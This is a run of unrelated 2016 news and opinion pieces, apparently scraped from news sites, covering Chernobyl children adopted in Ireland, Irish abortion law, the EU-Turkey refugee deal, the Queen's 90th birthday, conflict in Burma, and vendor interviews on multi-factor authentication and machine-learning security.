When we were there, we went to visit the institute that Alexi was in before coming to Ireland, says his mother, Helen.

While we were there, there was a phone call. The woman put the phone down and told us it was Alexis mother. I nearly collapsed there and then. We had just thought that Alexi had been abandoned, says Helen. What we didnt know was that when Alexis mother was due to give birth, she went for a scan and they detected the medical issues that were there. It was obviously too late to have an abortion, so she had the baby, but she wasnt allowed to keep him. Her baby was taken from her.

It transpired that Alexis mother had thought her son was dead. Remarkably, Helens sister, Adi Roche, took out an advertisement in a local paper showing a picture of Alexi and advising his parents (whoever they might have been) that Alexi was going to Ireland for life-saving surgery. The picture was spotted by Alexis natural parents, who then contacted the institute for news of their son. Over time, Alexis parents were convinced of the benefits of his staying in Ireland, but, crucially, no papers had been signed.

They could have changed their minds at any time, says Helen. I didnt understand any of the court hearing. I do remember being there and it was all a bit of blur, but we got the green light.

Alexi, who is now 21, is reluctant to talk about his connections to Belarus. Focussing on his studies at Maynooth is his current priority.

For her part, Anna is keen to stress that both she and Alexi are among the lucky ones.

I owe so much to Adi and my parents, says Anna. They did an amazing thing for us. But there are still people who are affected by this, even now, 30 years on. A lot of people my age dont know what Chernobyl is and its important that people know about it.
It brings a 5 inch screen, full waterproofing and a two day battery to bear, and as ever with Sony there's a focus on camera quality.

A massive 21.5 megapixel rear camera inherits the company's latest photo tech, including a quick launch app, instant auto focus and a dedicated camera shutter button. There's also 4K video on board and 5x zoom without a loss of image quality.

The M5 also includes a 13 megapixel front facing camera which is one of the highest rated around and also has fast autofocus and high dynamic range abilities.

The sequel to the popular M4 Aqua, the Sony Xperia M5 is available now in Ireland priced at free from EirMobile and Three.
FOLLOWING the recent conviction of a woman in the North for self-inducing abortion using medication purchased online, many are asking whether a similar prosecution could take place here.

As a reproductive health service provider, the Irish Family Planning Associations question is: Why does Irish law flout international best practice in reproductive health and criminalise women who have abortions?

It is indisputable that Irish women and girls are increasingly accessing medication online and self-inducing abortions. And we know from our services that if a woman or girl experiences complications as a result of self-administering such medication, fear of prosecution and a prison sentence may deter her from seeking medical help.

The IFPA hears from the women and girls who attend our pregnancy counselling and post-abortion services that the criminalisation of abortion causes harms to womens health, even when they access lawful abortion in another state. It contributes to the secrecy and silence surrounding abortion, and to women feeling isolated and stigmatised.

For these women, pregnancy counselling is the only place they can talk openly about their feelings and their experience of having an abortion.

Many of our clients fear being subjected to disapproval, judgement, and hostility. It is clear from what our clients say that the stigma attached to committing a criminal act reinforces negative stereotyping of women who have abortions.

One can only wonder at the impact of a prosecution and trial, and of the reporting on the Northern Ireland case  much of which has used stigmatising, sensationalist, and judgmental language  on the young woman and on her family.

What we hear from our clients about the harms of the current criminal law is not merely anecdotal. It is consistent with a detailed analysis by the UN special rapporteur on the Right to the Highest Attainable Standard of Health of the impacts of criminalisation on womens and girls health. In 2011, the then special rapporteur Anand Grover detailed the multiple negative impacts that criminal laws on abortion and other legal restrictions have on healthcare and on public health.

Criminalisation of reproductive health services, according to the special rapporteurs report, shifts the burden of accessing the right to healthcare from the State onto women and girls.

And, the report emphasised, women and girls are punished both when they abide by the law, and are thus subjected to poor physical and mental health outcomes, and when they do not, and they face incarceration. The World Health Organisation (WHO) is also clear that legal restrictions on sexual and reproductive health services are likely to have serious implications for health.

The WHO Safe Abortion Guidelines (2012) emphasise that restricting legal access to abortion does not decrease the need for abortion, but it is likely to increase the number of women seeking illegal and unsafe abortions.

During the parliamentary debates on the Protection of Life During Pregnancy Act 2013, the Government repeatedly stated that Article 40.3.3 of the Constitution, or the Eighth Amendment, required the retention of severe criminal provisions.

Under the act, the maximum potential prison sentence is 14 years. This maximum sentence, we were told, would apply to recalcitrant operators of illicit services, rather than to individual women. Women would be treated with compassion and wisdom by the legal system.

But prosecution of women for having an abortion was never ruled out. And a conviction would leave a woman or girl with a criminal record, and all that implies, in addition to whatever sentence might be imposed.

In a March 2016 Red C poll conducted on behalf of Amnesty International Ireland, 71% of those polled believe abortion should be decriminalised. A previous Amnesty poll of 2015 found that even those whose personal opposition to abortion is strongest are opposed to the current laws criminal penalty.

Prosecution of women for having abortions violates international human rights standards. All the monitoring bodies that have examined Irelands abortion laws have criticised the restrictive regime whereby abortion is lawful only to save a womans life.

The UN Committee Against Torture, the UN Committee on the Rights of the Child, the UN Economic, Social and Cultural Rights Committee, and the UN Human Rights Committee have all deplored the continued criminalisation of women who have abortions in Ireland.

The criminalisation of women for having abortions is something that virtually no one  not the public, not politicians, not health service providers, not our clients, and not human rights experts  believes to be a public good. The March 2016 poll found that 80% of people believe that womens health must be the priority in any reform of Irelands abortion law.

So what should the new government do? It has been reported that Fine Gael has proposed a citizens assembly that would make recommendations on potential changes to the Eighth Amendment.

The only potential change that would reconcile Irelands human rights obligations to give effect to womens and girls right to reproductive health is the repeal of this amendment.

And this must be followed by the introduction of measures to guarantee safe and legal abortion services in Ireland without fear of prosecution.

To do anything less is a disservice to women and girls in Ireland.

The only remaining question is when?

Niall Behan is chief executive of the Irish Family Planning Association
There is an excellent reason for German chancellor Angela Merkel to want a good relationship with Turkish president Recep Tayyip Erdogan: The European Unions March deal with Turkey appears to have defused the refugee crisis for now.

Merkel can now concentrate on political damage control and on restoring her position in the EU, undermined by a costly flutter of her compassionate heart last year.

Germanys migration agency is still registering tens of thousands of asylum applications per month: 58,315 first-time applicants filed their paperwork in March, about 13% of the record-breaking 2015 total and more than in all of 2011. That, however, is mainly the backlog.

Despite the latest tragedy in the Mediterranean in which as many as 500 people may have drowned between Libya and Italy, the Mediterranean refugee route is nowhere as busy as it was even during the more perilous winter months. This specifically concerns the easiest route  from Turkey to Greece across the Aegean Sea.

Data from the United Nations High Commissioner for Refugees show that the deal with Turkey  which allows Europe to return undocumented immigrants to that country in exchange for legally accepting an equal number of Syrians from Turkish refugee camps  has all but closed it.

In the autumn, there were days when up to 10,000 people arrived by boat on the Greek islands. Earlier this month, those numbers shrank to fewer than 100 a day on average.

In a recent article, Jacob Funk Kirkegaard of the Peterson Institute for International Economics attributed the drying-up of the refugee river not to the EU-Turkey agreement but to ad hoc border control measures imposed by countries along the route, particularly Macedonia, where troops have no qualms about using rubber bullets against refugees trying to cross the border from Greece. Kirkegaard wrote that other nations are likely to implement similar measures if the refugees seek alternative routes.

Bulgaria and Albania would immediately replicate the Macedonian policy if flows through their territories increased, and the cost of the sea journey across the Mediterranean to Italy  where bigger boats are required  will be much higher than across the narrow Aegean Sea to Greek islands from Turkey, he wrote.

Numbers might reach the tens of thousands through such alternative routes but not levels high enough to become the kind of political emergency Europe experienced in late 2015 and early 2016.

Its probably true that the ice-cold welcome refugees have received along their path to Germany must have contributed to the declining flows. Yet the border fences, police harassment and army operations against the immigrants have been around for some time, and they cant explain the spectacular drop in recent arrivals in Greece.

The Turkish deal is clearly working. The deportations started on April 4, and 325 people have been returned from Greece, the EU said in a report released Wednesday.

It fails to name the specific number of refugees accepted from Turkey in return, but the EU wants to keep their number within a 54,000-person quota to send a strong message to refugee communities that the risks of trying to get to Europe now outweigh the advantages.

The message, however, will be watered down if Turkey doesnt do its part by admitting deportees. So the deal has costs: For example, Turkish prime minister Ahmet Davutoglu has threatened to stop enforcing the agreement unless the EU allows Turks visa-free travel by June.

European officials would like to wiggle out of their commitment to expedite this, but theres little wiggle room. Bottling up Syrian refugees in Turkey  which reportedly sometimes shoots them when they try to come in and which is unable to provide them with work  is far from a humane solution, but its the only one that can remove the immediate political threat to Merkel and quell a ripening rebellion against German dominance in the EU.

The result is a typical EU solution to a crisis: It relies on harsh ad hoc measures from Balkan nations, some of which arent even EU members or destination countries for immigrants; a shaky deal with a fickle authoritarian ruler, who is prone to going after European comedians who insult him; and, most of all, on word-of-mouth among desperate, displaced people. This is a ball of nasty compromises and betrayals of European values, tied together with string  or perhaps with nothing more than the hope that its going to work somehow.

Merkel specialises in uneasy compromises, but unlike her successes from last year  the Greek bailout that kept the country within the euro zone and the improvised deal that stopped heavy fighting in eastern Ukraine  this latest one is embarrassing. German-led Europe has professed to stand on values. Instead, it is turning away a relatively small number of people  compared to its population  and resolving to keep them out, whatever the dire outcomes for those seeking refuge.

Merkel may come out the winner politically: Soon, she will be able to tell jittery Germans that the refugee problem has been solved.

Yet the attempt at moral leadership that Merkel made by opening Germanys doors  and, her critics say, creating the problem in the first place  has fizzled, and that cannot but damage Merkels long-term legacy.
Hi  People of the South of Ireland.

Since Ive departed your country all those years ago, Ive taken an interest on developments appertaining to the welfare of your citizens. One hundred years since the 1916 rising, I note your country is divided, geographically North and South, ecumenically and economically by the rich getting richer and the poor getting poorer.

In recent years your money lenders have immorally given out too much money with the result the banks have gone broke. Your government has imposed an imposition on citizens to bail out the banks, introduced a raft of austerity measures including an extra draconian tax on the water you drink. If Jesus was around, he would personally banish the greedy money lenders. Youve recently have had a general election and the elected representatives have not formed a government. Your political parties are bickering, pointing accusation fingers at each other, making claims for initiating the 1916 rising and so on. My knowledge is that all major political parties gained political influence through the barrels of guns. None of them should be calling the pot black.

By the way, no provision in your constitution for political parties exists, not even a mention of them, and for good reason. They represent narrow anti-Christian greedy aspirations of their members and benefactors. They do not represent the will of the general populace. Since the foundation of your State, political parties have, when in government, enacted laws to favour their entities, benefiting from state funding and having party logos on ballot papers. A new-found right-wing party, immorally dressed in a liberal cloak and not having won a single parliament seat from an entry of 26 candidates in the election, received 280,000 in state funding. Political parties fly in the face of just democracy. Once a person is elected as party leader or Taoiseach, he or she becomes a dictator imposing power by means of a whip system. Independent elected representatives should hold fast; demand the eradication of political parties; insist on legislation to repeal unjust laws giving parties and their representatives preferential treatment.

Pray to me to intercede on your behalf to get rid of the scourge of political parties.

Slan, Naomh Padraig.

Joe Terry

Lower Aghada

Co Cork
Hundreds of royal fans cheered the monarch as she stepped from her car in front of the Henry VIII gate.

Her arrival was marked by a rendition of Happy Birthday by the Band of the Coldstream Guards.

Born Princess Elizabeth Alexandra Mary of York on April 21 1926  the year of the General Strike  she was never expected to be Queen.

But she has become the longest reigning and oldest monarch in British history  and now the first to reach 90.

The Queen spent the morning of her birthday in private at her much-loved Berkshire castle  the family home of the nations sovereigns for more than 1,000 years.

She went on to mark her special day by carrying out public duties, including opening a walkway created in her honour and carrying out a walkabout through Windsor town.

Hundreds of royal fans, waving flags and clutching flowers, packed the streets to catch a glimpse of the birthday Queen.

She was accompanied by her husband of more than 68 years, the Duke of Edinburgh, who himself turns 95 in June.

Tributes being paid to the monarch illustrate how much technology has changed during her long reign.

Prime Minister David Cameron tweeted: The whole country will want to wish the Queen a happy birthday today  she has been a rock of strength for our nation.

Twitter was only a month old a decade ago on the monarchs 80th, while the first public demonstration of a television came in 1926  the year she was born.

An official photograph of the Queen surrounded by her five great-grandchildren, including Prince George and Princess Charlotte, and her two youngest grandchildren has been taken to mark the occasion.

Taken by celebrity photographer Annie Leibovitz, it shows the sovereign holding her youngest great-grandchild Charlotte in her arms.

The Queen is also pictured with her corgis and dorgis, and in a third picture with her only daughter, Anne, the Princess Royal.

In the evening, the Queen will light a beacon in Windsor, beginning the first in a chain of more than 1,000 that will spread across the country and the globe.

The Prince of Wales will pay tribute to his mother in a speech, before hosting a lavish private dinner for her family and friends in the castle.

During her 64-year reign, the monarch has been served by 12 prime ministers from Sir Winston Churchill to David Cameron, while Barack Obama, who will drop in for lunch on Friday, is the 12th US president to hold office over the same period.

Over the decades, Britain has undergone major transformations from technological advances like computers and supersonic flight to developments in society and the political landscape.

Her personal life has brought her happiness in her children, grandchildren and great-grandchildren. But she endured an annus horribilis in 1992, the year Charles separated from wife Diana, the Duke of York split from Sarah, and the Princess Royal divorced Captain Mark Phillips.

She was born on April 21 1926 in a townhouse in Londons Mayfair, the first child of the Duke of York, later King George VI.

Her destiny was changed with the abdication of her uncle, Edward VIII, for the woman he loved  American divorcee Wallis Simpson.

Famously, the Queen dedicated her life to her future role as monarch on her 21st birthday  vowing to serve the Commonwealth by saying: I declare before you all that my whole life, whether it be long or short, shall be devoted to your service and the service of our great imperial family to which we all belong.

A rendition of Happy Birthday erupted from the crowds as the hundreds of well wishers first caught sight of the Queen.

She was dressed in what was described by Buckingham Palace as a spring grass green wool and silk weave coat and dress with hat to match, adorned with flowers by her dressmaker Angela Kelly for her birthday appearance on the sunny but chilly day.

Members of the public joined in to sing Happy Birthday as the guards band in their red tunics and bearskin hats trumpeted out the tune. At the foot of Castle Hill, the sovereign walked past the imposing statue of her great great grandmother Queen Victoria  the very ancestor she eclipsed as the UKs longest-reigning monarch last September.

She stopped frequently to collect an abundance of bouquets.

The Queen remarked that it was a lovely day as she unveiled a plaque marking The Queens Walkway at the foot of Castle Hill during her walkabout.

Hugo Vickers, of The Outdoor Trust, showed the sovereign the plaque which was temporarily standing on the main road through the town centre.

Mr Vickers said: She was terribly happy with the beautiful weather and the lovely occasion.

She said it was a lovely day.

Mr Vickers added that she loved the panel. Prince Philip said it wouldnt last long if we left it there.

The Queens Walkway is a 6.3km (4 mile) self-guided trail  mapped out with bronze EIIR crested markers connecting 63 points of significance in the town of Windsor  such as the castles Henry VIII Gate and the Guildhall where the Prince of Wales married the Duchess of Cornwall in 2005.

It was designed by The Outdoor Trust to symbolically recognise the moment that Elizabeth II became Britains longest reigning monarch on September 9, 2015, after more than 63 years on the throne.

It was a walkabout which also turned into a royal drive-by, when the Queen delighted the crowds by travelling standing up in a review car.

As a finale, she slowly travelled down the street and a side road in the highly-polished burgundy vehicle, smiling and waving to the hundreds of people gathered.

She last used the car for a review of the Royal Regiment of Wales in the Millennium Stadium in Cardiff last year.
President Petro Poroshenko signed the bill, which also bans all films produced by Russian companies and Russian citizens after 1991 if they glorify the work of government bodies of Russia.

Russian films and television series have long dominated the Ukrainian market, where a majority of the population is bilingual.
Burma Ex-Top Peace Envoy Invites Previously Shunned Armed Groups for Talks

Despite ongoing fighting in Burma, three of the countrys ethnic armed forces will meet negotiators for informal talks in the Thai city of Chiang Mai.

RANGOON  Three ethnic armed groups that have been actively fighting against the Burma Army in northern Shan and western Arakan states have agreed to meet a former Burmese government peace delegation in the northern Thai city of Chiang Mai next month, according to a leader from one of the groups.

Aung Min, the previous governments chief peace negotiator, reached out to the Taang National Liberation Army (TNLA), the Arakan Army and the Kokang rebel group known as the Myanmar National Democratic Alliance Army (MNDAA), Mai Aike Kyaw, a spokesperson for the TNLA, told The Irrawaddy on Friday.

The former government representative recently formed the Aung Min Peace Foundation, and contacted the groups through the United Nationalities Federal Council (UNFC), a coalition of opposition groups representing various ethnicities in Burma. Former army Lieutenant General Khin Zaw Oo will represent the Burma Army at the informal talks, according to Mai Aike Kyaw.

This meeting is with the U Aung Min Peace Foundation, the TNLA spokesperson said. It is not with the new government. We will meet with them early next month.

Leaders of the TNLA will have a meeting soon to prepare for their discussions with the former peace broker.

It is too early to tell what we will talk with them about, the TNLAs Mai Aike Kyaw said.

The Burma Army and the former peace delegation had refused to meet these three groups in the past, demanding that they first lay down arms before any consideration was given to their joining a so-called Nationwide Ceasefire Agreement process, which suspended hostilities last October between the Burma Army and eight former UNFC member groups. The TNLA, Arakan Army and MNDAA continue to fight against Burma Army forces that they say are attempting to exert greater control in their home regions.

The UNFC expects to meet with the new government soon and they recently hosted three days of discussions to prepare for future talks.
Burma Lack of Aid Leaves Kokang Refugees in Dire Situation

New figures suggest that over 20,000 displaced ethnic Kokang are living in makeshift camps in China without access to international assistance.

As thousands of ethnic Kokang refugees remain stranded in China, tens of communities have been emptied and transformed into ghost villages on the Shan State-China border, according to recent updates by the Shan Human Rights Foundation (SHRF).

In early 2015, up to 100,000 people fled the region during four months of clashes between government forces and the Myanmar National Democratic Alliance Army (MNDAA), a non-state Kokang armed group.

More than one year later, increased militarization in the region and continued Burma Army abuses against villagers who attempt to return have left thousands of members of the ethnic Chinese minority homeless.

SHRF has released new estimates that over 20,000 Kokang are living in limbo in makeshift camps in neighboring Yunnan Province in China, a number much greater than a UNOCHA (United Nations Office for the Coordination of Humanitarian Affairs) figure from January 2016 stating that about 4,000 Kokang remain displaced, out of the 70,000 who reportedly were uprooted in 2015.

It has been difficult to confirm population movement estimates, said Pierre Peron, a spokesperson for UNOCHA in Burma, on the differing figures offered by the UN agency and the community-based SHRF. Due to ongoing insecurities in the region, he said that UNOCHA has had limited access to the Kokang area.

In March, SHRF conducted interviews with displaced Kokang originally from 20 villages that in the past year have been deserted. From this survey, the most urgent concern raised by refugees across the Chinese border is the blackout of humanitarian assistance.

Contributing to their vulnerability is their location, positioned between the Burma Army and Chinese authoritiesboth of whom have reportedly restricted aid access.

Vivian Tan, regional spokesperson for the UNHCR (United Nations High Commissioner for Refugees), confirmed to The Irrawaddy that the UN refugee agency does not have access to the areas in which the displaced Kokang are staying on the Shan State-China border.

These refugees are in a dire situation, SHRF spokesperson Sai Hor Hseng told The Irrawaddy on Friday, describing food shortages. Other than local assistance, there is no aid to reach them, he said. They dont have anything.

One 61-year-old farmer has been in a displaced peoples camp in China since he left his village of Shung Diao Ai in February 2015. Two months later, the camp itself was shelled during fighting between the Burma Army and the MNDAA. In SHRFs update, he is quoted as saying that his community has not received donations of rice in two months.

In order to survive, the displaced Kokang have to rely on themselves, Sai Hor Hseng added, explaining that relatives who are able seek work on farms in China, and those left in the camps forage for edible plants and vegetables in the surrounding forest. Those who try to cross the porous border back to Burma to reach their farmsusually to cultivate their primary crop of sugarcanehave described being detained, tortured, shot at and sexually assaulted by Burma Army troops now occupying the area.

According to UNOCHAs Humanitarian Response Plan for 2016, the UN aims to provide 10,000 returnees to the Kokang Self-Administered Zone (SAZ) with aid through the World Food Programme.

For displaced Kokang trying to return to Burma, another obstacle is a lack of full identification papers.

My parents had proper Burmese ID cards, so I should have been given one too, a 73-year-old farmer told SHRF. The authorities, Sai Hor Hseng explained, are not granting national ID cards to the Kokang, despite their classification as one of Burmas 135 national races recognized by the government. They are instead given a three-fold paper restricting their movement and effectively denying them citizenship.

We are not treated equally, said the farmer, who wished to remain anonymous. This is one of the reasons for the war now.

Addressing the conflict in the Kokang region means envisioning a new peace process in Burma, argues SHRF. In October 2015, eight out of the countrys more than 20 non-state armed groups signed a so-called nationwide ceasefire agreement (NCA) with the former Burmese government. A handful of ethnic armed groups were excluded from participating in the accordamong them was the MNDAA.

If every armed group is involved in the peace process, it will bring a more meaningful solution to the conflict in Burma, said Sai Hor Hseng. Only political dialogue will solve the problems in our country, he said.

In early April, a newly elected administration led by Aung San Suu Kyis National League for Democracy (NLD) stepped in to the countrys leadership.

Sai Hor Hseng said he hopes the NLD will implement a policy of national reconciliation, that brings all armed groups to the table to talk, including the MNDAA.
Burma Military Accused of Forced Portering as IDPs Rise in Arakan Conflict

Displaced civilians in Arakan State increase amid fighting between Arakan Army soldiers and government troops, with the latter accused of forcing locals to porter.

RANGOON  Displaced people from Rathedaung and Buthidaung townships in Arakan State continued to increase this week amid fighting between soldiers of the Arakan Army and government troops, with the latter accused by local lawmakers of forcing locals to porter.

The clashes have reportedly intensified in recent days, prompting hundreds of civilians to flee their homes for safer locales.

At least 300 internally displaced persons (IDPs) are sheltering in Saidaung village, in Buthidaung Township, and many others have arrived to Yae Soe Chaung and Yae Gaung Chaung villages in Rathedaung Township, from nearby settlements affected by the conflict.

Two lawmakers from the Arakan National Party (ANP) allege that civilians have been forced to porter for the Burma Army in the affected townships, with some then being allowed to return to their homes, but others still missing. Most cases occurred in Rathedaung, but some were also reported in Buthidaung, the lawmakers said.

Food shortages are also a concern among a largely agrarian displaced population that tends to rely on subsistence farming. Civil society organizations, local lawmakers and township authorities from Buthidaung are helping those displaced gain access to food and shelter.

It is not enough that we are providing them food and temporary placement for the moment, they need to have permanent shelter to live safely, Khin Maung Lat, one of the ANP lawmakers leveling the forced portering accusations, told The Irrawaddy on Friday.

Fellow ANP parliamentarian Aung Thaung Shwe put blame for the conflict on the Burma Army, which he said had failed to invite locals, not just in Arakan State but among ethnic minority populations more broadly, into a discussion about their states needs.

Even though the government does not act on it, we will talk about it in the [Union] Parliament because we are lawmakers, Aung Thaung Shwe told The Irrawaddy. He said the Arakan Army was formed to meet the local ethnic Arakanese populations unmet needs and should be brought into a discussion with the new National League for Democracy (NLD) government and the military.

The Burma Army has not allowed locals to venture into the forest to forage or collect firewood at villages in both Rathedaung and Buthidaung townships since the conflict first flared up again this month, Aung Thaung Shwe said.
Burma Suu Kyi Scores Obama Byline With 5th Most Influential Listing

Aung San Suu Kyi is among Time magazines most influential people for a fifth time, with her 2016 profile penned by US President Barack Obama.

Time magazine on Thursday released its annual list of the worlds 100 Most Influential People, with National League for Democracy (NLD) chairwoman Aung San Suu Kyi taking a spot for the fifth time among its pantheon of the powerful.

Suu Kyis profile for Times 2016 iteration was written by US President Barack Obama. In his text Obama, who with 11 appearances holds the record for being featured on the list the most times, described his meetings with the NLD leader and what her guidance could mean for Burmas future.

Burma still faces huge challenges, and its success will depend on ending long-running conflicts and upholding the human rights of all ethnic groups and religions. But democracy is poised to deliver a future of greater promise and prosperity, Obama wrote.

The magazine began compiling the annual list in 1999, and Suu Kyi was also among Times top 100 in 2013, 2011, 2008 and 2004.

Her NLD won an overwhelming majority in last years election, trouncing the then-ruling Union Solidarity and Development Party (USDP) and, since then, pledging to form a national reconciliation government to work toward ending decades of ethnic conflicts by uniting the country around the NLDs governing coalition.

We human beings are so riddled with imperfection, [but] in spite of the imperfections, democracy still remains a beacon of hope for all of us, Obama recounted the Lady as saying, heralding her as the sort of leader who can steer the former pariah state after more than a half-century of direct and indirect military rule.

Obama has twice visited Burma during his presidency, both times meeting Suu Kyi at her home in Rangoon. Suu Kyi was first invited to the White House, in September 2012.

The Obama administration has tried to claim a degree of credit for political reforms in Burma that helped Suu Kyi assume power. Beginning in 2011, relations between Burma and the United States underwent a thaw after decades of diplomatic standoff. Washington had previously punished the former ruling junta for its poor human rights record with economic sanctions that were lifted in 2012 as reforms by ex-President Thein Sein unfolded.
Burma Tributes Flow as Final Rites Held for Sayadaw U Pandita

Praise floods in for the late Vipassana meditation master Sayadaw U Pandita, who is credited with influencing the rapid rise of Buddhism in the West.

RANGOON  Funeral rites were held for esteemed monk and Vipassana meditation master Sayadaw U Pandita at the Panditarama Hse Mine Gone Forest Meditation Center in Pegu Township on Friday, as tributes to the 94-year-old teacher, who died on April 16, flooded in from around the world.

Revered in Burma by admirers ranging from President Htin Kyaw and State Counselor Aung San Suu Kyi to thousands of ordinary people who turned to his teachings on Buddhist practices and ethics, U Pandita also had significant influence within Buddhist circles internationally.

In the United States, many have credited him with influencing the rapid rise of Buddhism and Buddhism-inspired thought there in recent decades.

Joseph Goldstein, a prominent American Vipassana teacher and founder of the Insight Meditation Society (IMS) based in Barre, Massachusetts, was an early Western student of the monk.

Many of us here are saddened to hear of Sayadaw U Panditas passing. He was such a powerful influence in all of our lives, urging us on to realize our highest aspirations. His great service to the Dhamma is inestimable. It feels like the passing of an era, Goldstein told the Lions Roar Buddhist magazine this week.

Goldstein first met U Pandita in 1984, when the Burmese master taught what was then a rare three-month insight meditation course in the United States.

Years later, in a preface to the monks book In This Very Life, Goldstein credited the course as a turning point in the transmission of Theravada Buddhist practice in the West.

Another founding IMS teacher Sharon Salzburg said: We brought Sayadaw U Pandita to the Insight Meditation Society in 1984. Joseph and I had never met him before but sat that retreat under his guidance. U Pandita Sayadaw turned out to be quite fierce and demanding. He absolutely brought out my best effort, no holding back, and revitalized my meditation practice.

I cant even find the words to describe how important hes been for me, Salzburg told the Lions Roar.

American author and Buddhist Alan Clements spent eight nights interviewing the monk in February this year, in a series of conversations titled Dhamma Advice to the People of Myanmar and Beyond, which will be included in a forthcoming book.

U Pandita illuminated the Requisites of Reconciliation, the very basis of Suu Kyi and her new governments policy of peace-building during Burmas transition from dictatorship to democracy, which brings oppressors and the oppressed together through the practice of non-hostility and active metta (loving kindness in action).

The monks long connection with Suu Kyi was discussed in an article published in 2015 by her confidante Htin Kyaw.

Writing under the pen name Dalaban, the president wrote that whenever he met the monk while Suu Kyi was under house arrest, U Pandita always inquired about the health of the woman he referred to as daughter.

In 2002, after Suu Kyi was briefly released from house arrest, the late teacher accepted invitations to visit her home to receive donations. The heavy security presence around the house at that time made some junior monks nervous, but U Pandita would even alter his travel schedule to respond to requests for a visit, wrote Dalaban.

Once, the monk asked Suu Kyi to promise to spare some time to practice Vipassana, Dalaban recalled. Suu Kyi simply replied: I will, Sayadaw, when I have time.

In 2011, following her latest release from house arrest, Suu Kyi took refuge at the Panditarama Shwe Taung meditation center in Rangoon for a few days, according to Htin Kyaws article in a 2015 publication commemorating the silver jubilee of the center.

U Pandita was born in Rangoons Insein Township in 1921. He entered the Mahabodhi Monastery at the age of 7 and became an accomplished Buddhist scholar before studying meditation under the late venerable Mahasi Sayadaw. He was considered to be one of the leading authorities in the practice of both Samatha and Vipassana meditation, and for more than 40 years was a spiritual advisor for many retreat centers and Buddhist organizations in different countries.

In 1991, he founded the Panditarama Shwe Taung monastery and retreat center in Rangoon.
According to David McNeely, Vice President of Product Strategy at identity management and security vendor Centrify, passwords are past their used by date and the biggest threat to organisations is that hackers now have new easy access to readily available, open-source attack tools like Kali Linux, Metasploit and Mimikatz.



The real difference is they (hackers) can use these tools to get beyond what we typically used in the past for defence, McNeely warns.



McNeely  on a recent visit to Australia  told iTWire that there is a potential for poor password practices to combine with online systems to pose the greatest threat to our privacy that weve ever seen.





But, despite his gloomy outlook, McNeely maintains that one answer to overcoming the problem of ineffective passwords and vulnerable defence is for organisations to strengthen their security with Multi Factor Authentication (MFA)  despite resistance by some organisations around the world to a proven solution like MFA."Implementing Multi Factor Authentication in the enterprise has been an uphill battle as it can create a burden for IT as an organisation needs back-end structure to support it.Users are sometimes not ready for it so they can resist if they find it too cumbersome. There's always a trade-off between convenience and security, so it can be too inconvenient for rank-and-file users."McNeely explains Multi Factor Authentication this way: MFA combines something you know (a username and password, for example) with something you have (a token, magnetic card or phone) or something you are (a fingerprint, iris or voice).While there is initial resistance to MFA, McNeely says theres now the same level of interest multi factor authentication in Australia just like we are seeing in the US and Australia is probably more advanced than some of our European customers.McNeely warns that compromised credentials are the most common vector of data breaches around the world. There's no easier way for a hacker to attack a network than masquerading as a legitimate user of that network - and you get bonus points if its that user has a privileged account.The really important point is that we already have the solution - but many places are not stepping up to use it. Even if a person's credentials are compromised, Multi Factor Authentication can foil a bad guy attempting to use those credentials to compromise a network.And, according to McNeely, one way for an organisation to shore up its defences against hackers is to by minimising the privileges of IT system user privileges. Least Privilege. Give IT staff only the specific set of rights they need to do their jobs. So if someone does steal accounts, the downside is minimised.Combine three things - least access, least privilege and MFA. All taken together provide a very strong defence posture and the first place to start is Multi Factor Authentication because it is the most effective defence.Protecting your identity and your accounts are the keys to your defence. The most important thing to do is treat security like the bad people are already on your network. Then you have a better chance of defending against those attacks.And, in the face of the growth in cyberthreats, McNeely says he is now starting to see people in IT focus on security as an asset rather than just something to do when they get around to it.According to McNeely, more organisations are now moving to a cloud-based infrastructure and he cautions that you almost have to treat a cloud-based server like a laptop.When you give employees a laptop with data, you know they will go beyond your network perimeter, so you have to start thinking about a lot of other things. The risk exists when you move a server from your data centre to, say, Azure.We are helping number of customers move out applications and secure their cloud servers as more customers adopt cloud-based applications to do things that they used to run in their data centres. These include applications like HR, email and IT Service Management.McNeely says Centrify is encouraging its customers  including those he spoke to in Australia - to take up Multi Factor Authentication (MFA).Other areas include Identity and Access Management - these are taking a higher priority now than updating firewalls and adding VPN infrastructure. This means we can defend against these new types of attacks.
More than a decade of investment in machine learning is paying off for security vendor Symantec.

Symantec vice president global portfolio and solutions product management for enterprise security Bhagwat Swaroop (pictured) has been involved in the process of setting a course for the company following the divestiture of Veritas.

He told iTWire that Symantec's unified security strategy has four legs:

The use of advanced reputation scoring across all control points,

A focus on protecting information,

Helping organisations improve their security posture, and

Using analytics to underpin those capabilities.

So the company collects massive amounts of telemetry from endpoints (Symantec's security software runs on a quarter of a billion computers and other devices) and its filtering services, and applies machine learning to tease out the important data.

Machine learning is "finding its way into everything we do," he said. Symantec started applying machine learning more than a decade ago, and now has a team of between 30 and 40 people working to apply it to autonomous anomaly detection.

Rather than focusing on detecting specific attributes of malware, spam and so on (which the Bad Guys can learn to work around), the idea is to take a more dynamic approach by examining relationships instead.

This give "top of the line" detection of new threats, Swaroop said, with the lowest rate of false positives. More that 80% of detections are the result of machine learning, thanks to the scale of Symantec's operations.

The machine learning system runs on "one of the largest Hadoop clusters anywhere," he said.

"It's an exciting time for Symantec," said Swaroop. "Organic innovation is humming" (as opposed for the acquisition-based strategy under earlier management teams) and the company is solving the big problems in the most comprehensive way by working with competitors and partners, leveraging analytics, and deploying the results via the cloud.
The study cited by Epicor Software, from research firm EY, reveals that in the US market the most notable development in the workforce is a shift in emphasis from employee retention to worker engagement and a move to institutionalise knowledge to ensure virtual worldwide talent pools can effortlessly engage/collaborate.



According to the research, social collaboration makes it easier for employees to contribute and transfer institutional knowledge, supporting effective employee on-boarding and overall productivity.



Ironically, the upside of an ever-shifting workforce is that organisations can benefit from a constant revolving door of talent to capitalise on an influx of news ideas, new perspectives and out-of-the-box disruptive thinking that can be key to commanding market share, said Celia Fleischaker, senior vice president and chief marketing officer, Epicor





